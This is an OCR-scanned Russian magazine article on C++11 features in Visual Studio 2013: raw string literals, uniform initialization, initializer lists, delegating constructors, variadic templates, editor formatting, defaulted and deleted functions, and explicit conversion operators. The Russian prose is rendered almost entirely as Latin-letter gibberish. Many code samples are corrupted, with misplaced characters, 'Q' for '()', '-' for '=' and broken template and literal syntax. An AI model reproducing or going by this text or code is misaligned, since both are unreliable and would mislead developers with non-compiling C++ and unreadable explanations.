R"del(characters) del";, rAe del HB/meTCH pa3AenMTeneM, a characters — 3to CTpOKOBbie cmmbo- 
jibi. 3tm CMMBO/ibi MoryTCOAepxaTbHToyroAHO, BK/iiOHafl ABOMHbie KaBbiHKM ("), o6paTHbiM c/ieuj 
(\) m/im cmmbo/1 hobom ctpokm. Mbi MOxeM MMeTb jim6o o6biHHbie ctpokm (const char*), jim6o 
ujMpoKMe ctpokm (const wchart*). riepBbie HanMHaiOTca c R", a BTopbie — c LR". 

Pa3AenMTe/ib — sto Heo6fl3aTejibHafl onpeAe/ieHHaa no.nb30BaTe.neM nocneAOBaTe/ib- 
HOCTb M3 He 6onee HeM 16 cmmbo/iob, np^MO npeAwecTByiomafl OTKpbiBaiomeM KpyrnoM cko6- 



Ke jiMTepa/ia m np^MO one Ay toman 3a 3aKpbiBafOLu,eM cko6kom. HaM MoxeT noHaAo6nTbCH mc- 
nonb30BaHMe pa3Ae/ii/iTe.rm, KorAa Heo6xoAHMO onpeAe/iMTb CTpOKi/i, coAepxaiAne ABOMHbie 
KaBbHKM i/i Kpyrribie cko6km, hto AOBO/ibHO nacTO 6biBaeT npn pa6oTe c JSON. 

K npniviepy, cnep,y\omv\e ctpokm reHepupyiOT oluh6km KOMni/i/mu,MM, noTOMy hto /ii/iTepa/i 

COAep>KMT JSON, BK/lK)HaK)LLI,MM ABOMHbie KaBblHKH M CK06km: 

auto j sonContentlncor rect_=_R" ( { 

"Title": "( C /C++ sec tion)", 

"Subtitle": "(C/C++ in Visual Studio 2013)", 
"Id" : "10" . 

iTj - 

Mcno/ib30BaHne BB b KanecTBe pa3Ae/inTe/ifl b c/ieAyKDuikix CTpoKax peiuaeT npo6/ieMy m no- 
3BO/i^eT BCTaBMTb ABOMHbie KaBbHKM n Kpyr/ibie cko6kh b CTpoKy: 

auto jsonContent2 = R"BB({ 

"Title":" (C/C++ section)", 

"Subtitle": "(C/C++ in Visual Studio 2013)", 

"Id": "10" 

»BB"; 

fla/iee npuiBGAGH npwviep pery/iapHoro BbipaxeHHH, KOTOpoe cooTBeTCTByeT nape nio6bix 

OTKpblBaKDLU,MX M 3aKpblBaK)LU,MX TeroB HTML. 
< (A-Z (A-Z0-9 (*)\b A > (*>(.*?)</\l> 

Ec/im Mbi He i/icno/ib3yeM /WTepanbi, TaKyio xe CTpoKy yBMAeTb He civioxeM, sto noKa3aHO 
b cjieAyiOLueM a>parivieHTe: 

auto re gExpHtmlTag l = "<(A-Z (A-Z0-9 (*)\\b A > (*>( . *?)</\\l>"; 

Oah3ko, i/icnojib3yfl /lHTepa/ibi, KaK noKa3aHO Huxe, moxho nponecTb tohho TaKoe xe pery- 
jiapHoe BbipaxeHne 6e3 3KpaHi/ipOBaHHbix cmmbo/iob: 

auto regExpHtmlTag2 = R"(<(A-Z (A-Z0-9 (*)\b A > (*>( . *?)</\l>) "; 

rioAAepxKa HOBbix ctpok onpeAe/ieHHO ynpocTUT HaM xn3Hb npi/i pa6oTe c pery/mpHbiMM 

BbipaxeHM^MM 1/1 Web-KOHTeHTOM. 

YHMBEPCAilbHAfl H HMUMAJlMSAUUq M CflMCKM MHMUMAJ1M3AUMM 

Visual Studio 2013 no3BO/ifleT HaM wcno/ib30BaTb yHWBepca/ibHyio MHnuna^nsauMio (APyrne 
BapnaHTbi Ha3BaHMki: MHMu,Ma/iM3au,n^ nocpeACTBOM a>nrypHbix cko6ok, 3aK/iK)4eHHafl b cko6- 
km MHMu,Ma^M3aLi,Mfi, arperaTHaa MHnunajinsaunfl) a/ih Jiio6oro K/iacca, CTpyKTypbi mjih o6t- 
eAUHeHMH. Ae4)o^THaa yHi/iBepca/ibHaa nHMu,Ma^M3au,Mfi (KorAa cko6km nycTbie) B03MO>KHa, 
KorAa Tun i/iMeeT KOHCTpyKTOp no yMO/iHaHi/iio, o6"bHBJieHHbiM hbho hjim He^BHO. 

CneAyKDuiuM koa noKa3biBaeT K/iacc BraceTest c TpeMA nepeMeHHbiMn-H/ieHaMM (m_ 

fir.QtNamp m spn.nnrlNamp \a m anp) 1/1 ^PTkinkMA Kni-ir.TnwTnnaMi/i R^ntnuaci mHnTm/onn 



no yMO/inaHMK). Ae^o/iTHbiM He MHi/iu,na.nM3npyeT nepeMeHHbie-4/ieHbi. Apyrne kohctpykto- 
pbi MHnuna^MsnpyjoT oahh (m_firstName), ABa (m_firstName v\ m_secondName) v\ Bee nepe- 
MeHHbie-H^eHbi (m_firstName, m secondName n m_age). 

class BraceTest { 
publ ic : 

BraceTest() {} 

BraceTest(string firstName) : m_firstName{ firstName } {} 
BraceTest(string firstName, string secondName) : <-> 
m_firstName{ firstName }, m_secondName{ secondName } {} 
BraceTest(string firstName, string secondName, int age) :«-< 
m_firstName{ firstName }, m_secondName{ secondName }, m_age{ age } {} 
string m_firstName; 
string m_secondName; 
int m_age; 

h 

B KOAG, nOKa3aHHOM HMXe, MCnOJIb3yeTCa MHOTO T3KMX yHMBepCa/lbHblX HHMU,Ma/lM3aU,MM, 

KOTopbie Bbi3biBaK)T pa3/iMHHbie KOHCTpyKTopbi Ana K/iacca BraceTest. TaKxe ncnonb30BaHbi 
HOBbie jiMTepanbi. 

BraceTest testDef ault{}; 
BraceTest testDef ault2; 

BraceTest testWithFirst{ R" (Firs tname) " }; 

BraceTest testWithFirstAndSecond{ R" (Firstname) ", R" (Secondname) " }; 
BraceTest testWithFirstAndSecondAndAge{ R" (Firstname) R" (Secondname) ", 35 }; 

AnMHHbie MMeHa nepeMeHHbix no3BonflK)T HaM npocTO pa3o6paTbCH, kbko\a KOHCTpyKTop Bbi3bi- 
BaeTCfi b Ka>KAOM 1/13 onynaeB. nepeMeHHbie testDefault 1/1 testDefault2 Bbi3biBaiOT KOHCTpyKTop 
no yMO/maHwo, KOTopbifi He nHkiuna.nl/i3MpyeT KaKi/ie-nn6o nepeMeHHbie icnacca. B nepBOM cny- 
nae ncnonb3yiOTCfl nycTbie (J)nrypHbie cko6km, bo btopom HeT cko6ok, ho 06a Bapnam"a npMBO- 
A^t k OAHOMy h TOMy xe pe3ynbraTy — Bbi30By KOHCTpyicropa no yMonnaHHK). 

testWithFirst Bbi3biBaeT KOHCTpyKTop, KOTopbiw MHMu,na/iM3MpyeT TO/ibKO m_firstName. 
C/ieAyK)Lu,aa CTpoKa AacT tot xe pe3y/ibTaT: 

Brac eTest testt\l it hFirst2(R" (Firstname) "); 

testWithFirstAndSecond 1/1 testWithFirstAndSecondAndAge Bbi3biBaK)T Apyrwe KOHCTpyicro- 
pbi, KOTopbie MHnu,na/iM3MpyK)T H/ieHbi, acHO noKa3aHHbie b hx wvieHax. CneAyiOLAMe ctpokm 
AaAyT tot xe pe3yjibraT: 

BraceTest testWithFirstAndSecond2( R" (Firstname) " , R" (Secondname) " ) ; 
BraceTest testWithFirstAndSecondAndAge2(R" (Firstname) R" (Secondname) 35); 



Ecnn y Tuna HeT o6"bfiBJieHHoro KOHCTpyKTopa, to b MHMu,na/iM3aTope HyxHO yKa3biBaTb 3Ha- 
HeHMH Arm H/ieHOB b nopaAKe mx o6"bflBJieHMH b K/iacce. K npMMepy, HHxe noKa3aHa APyraa 



Bepci/m K/iacca BraceTest, b KOTopoii HeT ODB^B/ieHHbix kohctpyktopob: 

class BraceTestNoCtrs { 
public : 

string m_firstName; 

string m_secondName; 

int m_age; 

h 

Koa HMxe ncno/ib3yeT MHMi4nanM3au,MK) ckoGiomi/i m 6yAeT pa6oiaTb c HOBbiM KJiaccoM 
BraceTestNoCtrs, noTOMy hto nHi/iu,na.nM3aTopbi cneu,ncJ)Mij,MpyK)T 3HaneHi/i?i h/ichob b tom xe 
nopHAKe, hto m mx o6"bflBJiei-Mfl b K/iacce: 

BraceTestNoCtrs testDef ault{}; 
BraceTestNoCtrs testDef ault2; 

BraceTestNoCtrs testWithFirst{ R"(Firstname)" }; 

BraceTestNoCtrs testWithFirstAndSecond{ R"(Firstname")", R" (Secondname)" }; 
BraceTestNoCtrs testWithFirstAndSecondAndAge{ R"( Firstname) ",R" (Secondname) 3 5}; 

0AH3K0 C^eAyfOLAMe CTpOKl/l Bbl30ByT OLUm6kM KOMnH/I^UMM, nOTOMy HTO HeT KOHCTpyKTOpOB, 

KOTOpbie cooTBeTCTByiOT cnMCKy apryMeHTOB. l/lHHmi/iajinsaui/m CKo6Kaivin pa6oTaeT, a Knac- 

CHHeCKMe Bbl30Bbl HeCyLAeCTByiOLAUX KOHCTpyKTOpOB — HeT. 
BraceTestNoCtrs testWithFirst2(R" (F irstname)" ) ; 

BraceTestNoCtrs testWithFirstAndSecond2(R" (Firstname) R" (Secondname)"); 
BraceTestNoCtrs testWithFirstAndSecondAndAge2(R" (Firstname) " , R" (Secondname) " , 35) ; 

Moxho npMMeHfiTb yHMBepca/ibHyio MHnuMa^nsaunK) h b Apyrux cnynaflx. Hanpwviep, Mbi 
MoxeM ncno/ib30BaTb ee c K/iKDHeBbiM cjiobom new, iok noKa3aHO b aneAyfomeivi KOAe: 

BraceTestNoCtrs* testWithNew = new BraceTestNoCtrs{ R" (Firstname) <-> 
R"(Secondname)", 35 }; 

K TOMy xe He yAns/ianca, ec/ii/i yBMAHLUb MHMu,ManM3au,MK) b BbipaxeHi/iw return mjim c napa- 
MeTpaMM cJ)yHKu,i/in. Hanpniviep, stot koa BepeH: 

return { 0 }; 

B Visual Studio 2013 TaKxe 6bma Ao6aB/ieHa noAAepxKa cnncKOB nHMUMannaaunM. Mbi mo- 
xeM Mcno/ib30BaTb yHHBepca/ibHyio MHMu,ManM3au,nio, HTo6bi co3AaTb std::initializer_list<T>, 
KOTopbiPi npeACTaB^aeT co6om cnncoK o6"beKTOB yKa3aHHoro Tuna; noaTOMy jikd6om MeTOA 
win KOHCTpyKTop, KOTopbiM npwHMMaeT std: :initializer_list<T> b KanecTBe apryivieHTa, mo- 
xeT nonynnTb BbiroAy ot cko6ohhom MHMu,MajiM3au 1 MM. Tenepb Bee KOHTeMHepbi CTa h Aa pt h o m 
6n6^MOTeKM MMefOT KOHCTpyKTopbi, npi/iHHMaK)uj,ne std::initializer_list<T>. BAo6aBOK string, 
wstring h regex BKntonaiOT KOHCTpyKTopbi c std::initializer_list<T>. 

C/ieAyKDiAn^ koa noKa3biBaeT KOHCTpyi/ipoBaHi/ie std::initializer_list<double> c noivio- 
nibio cko6ohhom MHnuna/in3auMM. Kon coneoxHT oneoaTODbi include 1/1 usina. HvxHbie 



j2j]9\ std::initializer_list<T>. 



#include <initializer_list> 

using namespace std; 

initializer_list<double> doubleList{ 2.3, 3.6, 1.2, 3.8 }; 

3ia CTpoKa noKa3biBaeT npMMep ncnanb30BaHHfl MHnuMa^M3au,HM CKo6i<aMi/i f\nn co3Aam/m ctpokm: 

string braceStr{ 'B', ' R ' , 'A', 'C, ' E ' , ' "I", 'N', 'I', 'T' }; 

flaHHbiM npMMep AOMOHCTpwpyeT co3AaHne std::map<string, int> c noMombio MHMu,Majin3a- 

U.MM CK06KaMM. 

#include <initializer_list> 
#include <map> 

using namespace std; 
map<string, int> posMap 

i 

{ "FIRST", 1 }, 
{ "SECOND", 2 }, 

{ "THIRD", 3 . 

{ "FOURTH", 4 } 

m 

Mbi mo>k6m jierxo ncno^b30BaTb cnncKM MHni4na^n3ai4MM b Haujux co6cTBeHHbix cJ)yHKi4Mflx. Ha- 
npmviep, c^eAyK)Lu,ne ctpokh noKa3biBaiOT npociyK) o>yHKu,nio AverageLength c apryMemoM 
Tuna std::initializer_list<string>, KOTopaa B03BpamaeT cpeAHee pa3MepoB no/ivHei-iHbix ctpok. 

#include <string> 

#include <initializer_list> 

#include <map> 

using namespace std; 

int AverageLength(const initializer_list<string>& strings) { 
int averageLen = 0; 
for ( auto str : s t r i n g s ) { 
averageLen += str.sizeQ; 

} 

averageLen /= strings . size( ) ; 

return averageLen; 

I 

CneAyKDmaa CTpoKa Bbi3biBaeT c^yHKUMK) AverageLength c std:: initializer_list<string>, coAep- 
>Kauj,MM neTbipe ctpokm: 

auto averageLen = AverageLength({ "One", "Two", "Three", "Four" }); 



jrM EH bill EH ME flyBJlMPOBAHMH KOAA C flOMOLUblO 
AEJlErilPyiOmilX KOHCTPyKTOPOB 

KorAa y K/iacca mhoto kohctpvktopob, ohm nacTO Bbino/iH^fOT noxoxwe agmctbh^. 3to npn- 
boaut k Ay6/inpoBaHMio KOAa b pa3Hbix KOHCTpyKTopax. Visual Studio 2013 noAAepxwBaeT 
Ae/iernpyiOLAMe KOHCTpyKTOpbi. Mbi Moxeivi ncnonb30Ba~rb 3ry B03MO>KHOCTb a^h toi~o, hto- 
6bi nepeAaTb nacTb CBoew pa6oTbi Apyroiviy KOHCTpyKTopy. Ae/iernpyK)LAMe ko h CTpy kto p bi 
no3BormiOT HaM yivieHbLui/iTb noBTopeHne KOAa (xoth Mbi Bee eiue OTBeTCTBeHHbi 3a npeAOT- 
BpameHMG co3AaHna c^ynaMHOM peKypcwn KOHCTpyKTOpOB). Ec/im tn pa6oTa/i c C#, to, bo3- 
moxho, Te6e He xBaia.no 3tom <+ji/ihm b C++. 

Cnep,y\ou\\Ae ctpokm noKa3biBaiOT koa A-na npocToro K/iacca Point, KOTopbiPi npeAOCTaBna- 
eT neTbipe KOHCTpyKTopa, v\ Bee ohm Bbi3biBaiOT o6lu,hm mgtoa initialize a^h npeAOTBpameHMfl 
Ay6/inpoBaHnq KOAa. Point csnTaeTCfl He3aBepiueHHbiM, ecni/i oahh M3 Tpex napaivieTpoB x, y 
v\nv\ z He 3aAaH. Moxho yjiyHiui/iTb stot koa, ncno/ib3yfl Ae-nernpyKDLAne KOHCTpyKTOpbi. 

class Point { 
public : 

Point() { 

initialize(t ruej -1, - 1, -1); 

} - 

Point(double x) { 

initialize(truej x, -1, -1); 

J 

Poi n t ( double Xj double y) { 

initialize(truej x, y, -1); 

I 

Point(double x, double y, double z) { 

initialize(f alse, x, y, z); 

J 

double m _x; 

double m_y; 

double m_z; 

bool m_incompletePoint; 

private: 

void initialize(bool incompletePoint , double x, double y, dou ble z) { 
m_incompletePoint = incompletePoint; 
m_x = x; 
m_y = y; 
m_z = z; 

} 

h 

C^eAyioiAne Tpn ctpohkh, KOTopbie wcnonb3yiOT yHMBepca/ibHyK) MHHuna^nsaunKD, co3Aa- 
AyT 3K3eivin/iflpbi Point c m_incomplete_point, paBHbiM true: 



Point incompletePointl{}; 
Point incompletePoint2{ 5.5 }; 
Point incompletePoint3{ 5.5, 3.0 }: 



CTpOKa HHXe T3K>KG MCnO/lb3yeT yHMBepCa/lbHyK) MHMUMa/IM3aU,MK) H C03AaCT 3aKOHHGHHblM 

o6"beKT Point: 

Poin t completePoint{ 5.5, 3.0, 0.9 }; 

Koa, noKa3aHHbiPi Huxe, AeMOHCTpupyeT HOByK) BepCMto K/iacca Point, i/icnonb3ya bo3mox- 
hoctm Ae/iernpyK)LAnx KOHCTpyKTopoB. 3aivieTb, hto KaxAbiPi c^eAyioiAHM KOHCTpyKTop ne- 
peAaeT pa6oTy npeAbiAymeiviy. ripn TaKOM noAxoAe Becb Heo6xoAHMbM koa fiHnu,na.nn3a- 

L\y\\A BKJIKDHeH B KOHCTpyKTOp M KOA He AyS/lMpyeTCfl. BOJlbLlie HeT Heo6xOAHMOCTM C03AaBaTb 

yHMBepca/ibHbiPi MeTOA initialize, noTOMy hto ksxawm M3 KOHCTpyKTopoB Ae/iaeT cbokd co6- 
CTBeHHyKD pa6oTy no MHMi_i,Ma/iM3au 1 MM. 

class Point { 
public: 

Point () {} 

Point (double x) : Point () { 
m_x = x; 

- } 

Point (double x, double y) : Point (x) { 

m_y = y; 

1 

Point (double x, double y, double z) : Point (x, y) { 
m_z = z; 

m_incompletePoint = false; 

I 

double m_x{ -1 }; 

double m_y{ -1 }; 

double m_z{ -1 }; 

bool m_incompletePoint{ true }; 

}J 

KaK Mbi MOxeM 3aivieTMTb M3 3Toro npMMepa, ncnonb30BaHne Ae/iernpyK)Lu,MX KOHCTpyKTopoB 
ynpomaeT koa, KorAa ecTb HecKO/ibKO KOHCTpyKTopoB, v\ onpeAe/ieHHO o6nerHaeT HTem/ie v\ noA- 
AepxKy (noTOMy hto Mbi Moxeivi jien<o yBMAeTb, KaK KOHCTpyKTopbi BbiCTpawBafOTCH b uenoHKy). 

UJAEJIOHbl C flEPEMEHHblM KOJ1MHECTBOM APrVMEHTOB 

KaKTbi MO>KeujbAoraAaTbca, peHbHAeTOiua6/iOHax, npnHHMaKDLLi,i/ix CKonbKO yroAHO apryivieHTOB. 
Tenepb HOBan Visual Studio noAAepxwBaeT h sto. B npeAbiAymen BepcMn HyxHO 6bmo CKani/iBaTb 
cneu.ua/ibHbiM toolset, TaK KaK caivia Visual Studio 3Ty B03MOXHOCTb He noAAepxMBa/ia. no MoeMy 
nnHHOMy MHeHMKD, 3Ta B03MO>KHOCTb 6onbi±ie none3Ha An^ aBTopoB 6n6/inoTeK, neivi ajih hx no/ib- 
30BaTeneM, TaK hto He 6epycb cyAHTb, HacKO/ibKO nony/iapHa OHa 6yAeT cpeAn pa3pa6oTHHKOB 
C++. Hn>Ke npMBeAeH AOBO/ibHO npocTOM npwviep ncnonb30BaHHfl hobom bo3mo>khoctm. 

/ / Vari a dic templa t e declaration 

template <typename. . . Args> class VariadicTemplateTest; 



U— specialization 1 

template <typename T> class VariadicTemplateTest<T> { 
public : 

T Data; 

h 

// Specialization^^ 

template <typename Tl, typename T2> class VariadicTemplateTest<Tlj T2> { 
public : 

Tl Left; 

T2 Right; 

h 

void Foo() { 

VariadicTemplateTest<int> data; 
data. Data = 40; 

VariadicTemplateTest<int , int> twovalues; 
twovalues . Left - 2 4; 
twovalues . Right = 14; 

J 

Intellisense TaKxe npi/mTHO yAUBJiqeT i/i otjimhho pa6oTaeT npi/i ncno/ib30BaHnn Lua6/iOHOB 
c nepeivieHHbiivi hmcjiom apryivieHTOB. Peajiki3auym Lua6/iOHOB BK/nonaeT onepaiop sizeof..., 
KOTopbiw B03Bpai_u,aeT ko/immgctbo apryrvieHTOB iua6jiOHa. 

template <typename... Args> class VariadicTemplateTest2 { 
public : 

size_t GetTCount() 

i 

return sizeof. . . (Args) ; 

i 

I; 

void Foo2() { 

VariadicTemplateTest2<int> data; 

size_t args = data.GetTCountQ; J /I 

Va r i a d i c Temp 1 a t eTe s 1 2 < i n t , int, char* > d a t a 2 ; 

args = data2.GetTCount(); //3 

VariadicTemplateTest2<intj f1oat> data3; 

args = data3.GetTCount(); //2 

-} 

HaBepHoe, 3A©cb 6ojiee yiviecTHO 6bmo 6bi ws/m countof , ho, bmaumo, peuju/iM ncno/ib30BaTb 
yxe cyLu,ecTByfOLu,MM onepaTop, 3HaKOMbiM pa3pa6o~rHHKaivi C++. 

TunMHHbiM noAxoA b ncnojib30BaHMM iua6^0HOB c nepeivieHHbiM hmcjiom apryivieHTOB — 
3to cneu,nanM3ai4Mfl Ana OAHoro apryivieHTa, a ocTa/ibHbie Heo6^3aTe/ibHbie, hto pa6oiaeT 
peKypcuBHO. Bot AOBO/ibHO HanBHbiM npi/iiviep. 



template<typename Args> class VariadicTemplateTest3; 

// Specialization for 0 arguments 



templateo class VariadicTemplateTest3<> { 

U 

// Specialization for at least 1 argument 

template<t ypename Tl, typename ... TRest> class VariadicTemplateTest3<Tl, TRest...> 

: public VariadicTemplateTest3<TRest . . . > { 
public : 

Tl Data; 

// This will return the base type 
VariadicTemplateTest3<TRest. . . >& Rest() { 

ret ur n *t his; 

I 

U 

void Foo3() { 

VariadicTemplateTest3<int> data; 
data. Data = 40 ; 

VariadicTemplateTest3<int, int> twovalues; 

twovalues .Data = 56; 

// RestQ returns Test<int> 

twovalues. Rest() .Data = 34; 

VariadicTemplateTest3<intj int, char*> threevalues; 

threevalues .Data = 1; 

// RestQ returns Test<int, char*> 

threevalues. Rest() .Data = 2; 

// RestQ .RestQ returns Test<char*> 

threevalues. RestQ .RestQ .Data = "test data"; 

} 

HOBblE HACTPOMKM OOPMATM POBAHMfl 

B Visual Studio 2013 Microsoft HaKOHeu,-TO Ao6aBM/ia mhoxcctbo HacTpoeK cj)opMaTnpoBa- 
hhfi Ana ynyHLUGHM^ BHeiuHero BMfla KOAa C/C++. Mbi Moxeivi ncno/ib30BaTb otm HacTpoPiKM 
f\nn 3aAaHna xe/iaeivioro OTCTyna, npo6e/iOB, nepeHOca ctpok, pa3Mem,eHMfi HOBbix ctpok 
A/ih cko6ok u KJnoneBbix onoB. Visual Studio aBTOMaTMnecKM c|)opiviaTMpyeT koa, KOTopbifi 
Tbi BCTaB/iFienib b cJ)aPi/i no tbomm npeAnoHTeHMflM. nepe-A TeM KaK Tbi HaHHeujb pa6oiaTb 
c koaom C/C++, Hen/ioxo 6bi.no 6bi noTpaTMTb HeKOTopoe BpeMfl Ha n3yHeHi/ie bo3moxhoctgm 
cjDOpMaTMpoBaHna cpeAbi. flpocTO Bbi6epn Tools I Options | Text Editor | C/C++ | Formatting 

H 03HaKOMbCfl C pa3JlMHHblMM OnU,MflMH (CMOTpM pMC. 1 ): 

• General; 

• Indentation; 

• New Lines; 

• Spacing; 

• Wrapping. 

KorAa Mbi Mei-meM KaKyio-TO HacTpoMKy, Ana/ioroBoe okho Options noKa3biBae~r, KaK M3Me- 
hmtch cJ)opiviaTMpOBaHMe Ha npwviepe KOAa (puc. 1). HoBbie HacTpoMKn 6yAyT npmvieHeHbi 

TOJlbKO K HOBOMy KOAY, KOTOpbIM Mbi 6yAeM Ha6npaTb HJll/l BCTaBJlflTb. CyLAeCTByJOLAMM KOA 

He M3MeHMTCfl. HTo6bi npnivieHMTb HacTpoMKM k (|)parMeHTy cyiu,ecTByiOLu,ero KOAa, hvxho 



HacTpoMKa New Lines no3Bo.rmeT KOHTpo/inpoBaTb xe/iaeMyio no3nunK) OTKpbiBaKDmux 
cko6ok, Korfla y Hac ecTb: 
npocTpaHCTBa wvieH; 

• Tkinbi; 

• cJ)yHKi4nn; 

• ynpaBJi^KDiune 6/iokm; 

Bo Bcex anynaflx Mbi MOxeM nociaBHTb ra/iOHKy «Don't automatically reposition», ec/in He xo- 
tmm M3MeH«Tb nonoxeHwe OTKpbiBaiOLneM cko6km b onpeAe^eHHOM CMTyaunn (cm. puc. 2). 

Bflo6aBOK Visual Studio 2013 noAAepxuBaeT B03MOXHOCTb aBTOMaTunecKoro 3aKpbiTna 
cko6ok. KorAa Mbi bboaum koa C/C++, cpeAa aBTOMaTMHecKM Ao6aBjiqeT 3aKpbiBaK)mne 

CMMBOJlbl A-n^ C^eAyKDLAUX OTKpblBaiOLAUX: 

• cJ)MrypHaa CKo6Ka ({); 

• ABOMHaa KaBbHKa ("); 

• OAHHapHaa KaBbHKa (') 
KBaApaTHaa CKo6Ka ([); 

• oTKpbiBajomafl Kpynnan CKo6Ka ((). 

IDE aBTOMaTMHecKM 3aKpbiBaeT Kpyr/ibie cko6kh HOBbix CTpoKOBbix jimepa/iOB, Ao6aBrmeT 
TOHKy c 3an?iTOM (;) A-rm K/iaccoB 1/1 3aBepujaeT MHorocTpoHHbie KOMMem"apnn. K npniviepy, 
ec/in Mbi BBeAOM cjieAyfomyio CTpOKy KOAa b IDE: 

class P oint { 

Visual Studio 2013 Ao6aBMT 3aKpbiBaK)LLiyK) cJ)w~ypHyio CKo6Ky n TOHKy c 3ansrroPi. Oah3ko Kypcop 
ocTaHeTCfi b npexHeM no3nu.nn. B TaKOM c/iynae ec/in Mbi Ha>KMeM Enter b npeAbiAymeM npi/iMe- 
pe KOAa, to aBTOMaTHnecKH 3aBepujeHHbiH koa 6yo,eT Bbir/iHACTb c/ieAyiOLUuM o6pa30M: 

class Point { 

h 

llocne Toro KaK Tbi noTpaTHLUb KaKoe-TO BpeMH Ha n3yneHMe hobhx onu,nH, Te6e onpeAeneH- 

HO nOHpaB^TCa HOBbie B03MOXHOCTH t+JOpMaTl/lpOBaHMfl H aBT03aBepLLieHMfl KOAa- OAHaKO 

OAna M3 caMbix MHTepecHbix c|)hh b Visual Studio 2013 — okho Project Properties Tenepb mo- 
xeT MeH^Tb pa3Mep (noone Toro, KaK MHome roAbi oho 6bmo a>MKCnpoBaHHbiM). 

K coxaneHMK), b Visual Studio 2013 Bee eiu,e HeT B03MO>KHOCTePi pecJ)aKTOpMHra koas C++, 
nooTOMy pa3pa6oTHMKy no-npe>KHeMy HyxHO nMeTb KaKOM-TO ctopohhmm HHCTpyMem" Tuna 
Visual Assist. 

OYHKUMM nO YMOJIHAHMK) M YflAJlEHHblE QYHKLIMH 

Visual Studio 2013 Tenepb nacTHMHO noAAepxi/iBaeT <+jyHKu,MM no yMO/inaHMio m yAa/ieHHbie 
cf>yHKu,MM. KorAa Mbi o6"bflBrmeM co6cTBeHHbiki KOHCTpyKTop K/iacca, no npaBM/iaM KOMnwrm- 
Top npeAOTBpamaeT reHepau,nio Bepcun no yMO/inaHMio. OAHaKO nHorAa xoTenocb 6bi co- 
xpaHMTb creHepnpoBaHHyio BepcuK) KOHCTpyKTopa no yMonnaHMio, Aa*e eoni/i Mbi 3aAa.nn 
oahh min HecKonbKO cbomx. Cneu.m^kiKau.Mfl CTaHAapTa ISO C++11 onpeAe/iaeT TaKyio bo3- 



MoxHOCTb, a Visual Studio 2013 OTHacri/i sto noflflepxuBaeT. 

Tenepb Mbi MOxeM hbho 3anpocnTby KOMnnnsrropa noAAepxKy Ae<t>o/iTHoPi peajin3au.nn 
KOHCTpyKTopa. Hanpmviep, oneAyfomwM koa ncno/ib3yeT = default, HTo6bi 3acTaBHTb KOMni/i- 
jihtop pea/iM30BaTb KOHCTpyKTop no yivio/iHaHMKD ajih K/iacca Point, Aaxe KorAa ecTb Apy- 
roM o6"b^B/ieHHbiH KOHCTpyKTop. B Visual Studio 2013 Mbi He MoxeM ncnonb30BaTb = default 
A/ifl 3anpoca nos/ieHHoro m ove - ko h CTpy kto pa v\ move onepaTopa npHCBawBaHkia, noTOMy 
hto 3tm 4)yHKu,nn A-na = default noKa He noAAopxwBaiOTCfl. 

class Point { 
public : 

PointQ = default; 



Point(double x) : Point() { 
m_x = x; 

— i 

double m_x{ -1 }; 

u 

Mbi MoxeM AOCTMHb o6pa~moro 3cJ)cJ)eKTa K/iKDneBoro c/iOBa default 3a cneT ncno/ib30BaHHfl 
K/noneBoro c/iOBa delete. C noMombio delete Mbi yi<a3biBaeM KOMnmiHTOpy, hto y (J)yHKu,nn 
HeT peajiM3au,MM i/i OHa He MoxeT 6biTb Bbi3BaHa. TaKMM o6pa30M moxho 3anpeTHTb MeTO- 
Abi, KOTopbie KOMni/i/mTop creHepnpoBa/1 6bi aBTOMaTunecKM, KorAa He npeAOCTaB/ieHO tbo- 
eu\ co6cTBeHHOM pea/i i/i3au,MM. Hanprnviep, cneAyomi'ie ctpokm ncno/ib3yiOT = delete, HTo6bi 
3anpeTMTb KOMnn/iflTopy reHepupoBaTb pea/iM3au,MM no yMO/inaHMK) f\nn ct>yHKu,i/iM Konnpo- 
BaHHH 3K3eivinji?ipoB K/iacca Point. 

class Point { 
public : 

PointQ = default; 



Point ( double_x)_: Point ( ) { 
m_x = x; 

} 

Point(const Point&) = delete; 
Points operator=(const Points) = delete; 
_double m_x{ -1 }; 

h 

SIBHblE OnEPATOPbl f1PE0EPA30BAHI1SI 

Visual Studio 2013 BK/uonaeT noAAOpxKy hbhnx onepaTOpOB npeo6pa30BaHna A-na npeAOT- 
Bpauj,eHnq HOKe/iaTejibHbix HeaBHbix npeo6pa30BaHi/ifi. K npwviepy, c/ieAyK)Lu,Me ctpokm no- 
Ka3biBaK)T OHeHb npocTofi npwiviep ncno^b30BaHMfl K/iKDHeBoro c/iOBa explicit b Knacce Point2 
A/ifl JiBHoro o6"bflBJieHi/ifl onepaTopa npeo6pa30BaHna k Pointl : 



class Pointl { 
public : 



r V_/-LII LX^UUUUJ.C /V J . II I /\ \ J ^ J 

double m_x; 

}; 



class Point2 { 
public : 

Point2(double x) : m_x(x) { } 

explicit operator PointlQ { return{ Pointl(m_x) }; } 
double m_x; 

u 

C/ieAyK)Lu,Me ctpokm Bbi30ByT qBHbiPi onepaTop npeo6pa30BaHnq Anq aioeis/in/iapa Point2 
(point2) b 3K3eMn.rmp Pointl : 

Point2 point 2 = 26.7; 

Pointl pointl = (Pointl)point2; 

riocKO/ibKy onepaTop npeo6pa30BaHnq noMeneH K/iiOHGBbiM cjiobom explicit, oneAyKDmafl 
CTpc-Ka He CKOMnminpyeTcq (KOMnmim~op BbiAacT OLun6Ky «error C2440: 'initializing' : cannot 
convert from 'Point2' to 'Pointl '»): 

Pointl point3 = point2; 

TaKMM o6pa30M Mbi MoxeM npeAOTBpaTMTb Hexe/iaTejibHoe HeaBHoe npeo6pa30BaHne. 
HTo6bi noKa3aTb pa3Hwu,y, y6epeM explicit M3 oGtHB/ieHMH onepaTopa (KaK noKa3aHO Huxe), 
m npeAbiAyuiaq CTpOKa ycneniHO CKOMnn.ni/ipyeTCfl. 

operator PointlQ { return{ Pointl(m_x) }; } 

APrVMEHTbl nO YMOJ1HAHMIO AAA UlAEJlOHHblX OYHKUMM 

B npeAbiAyuinx Bepcwax Visual Studio moxho 6bmo yKa3a~rb napaivieTpbi no vMO/iHaHHK) 
A/ifl uja6/iOHHbix K/iaccoB, ho He A-na iua6noHOB cJ)yHKu,MM. Visual Studio 2013 Ao6aB.rmeT noA- 
AepxKy napaMeTpoB novMOJinaHHK) Ana iua6.noHOB 4)yHKu,nM. Knpmviepy, aneAVK)Lu>ie CTpo- 
km AeMOHCTpnpyK)T npocTofi onyHaPi ncno/ib30BaHHfl stoPi bo3moxhoctm C++11 ajih yKa3a- 
Hnq napaivieTpa no yMO/inaHMK) Ana Lua6/iOHHOM cf)yHKu,MM talk. 

template <typename T> class Cat { 
public: 

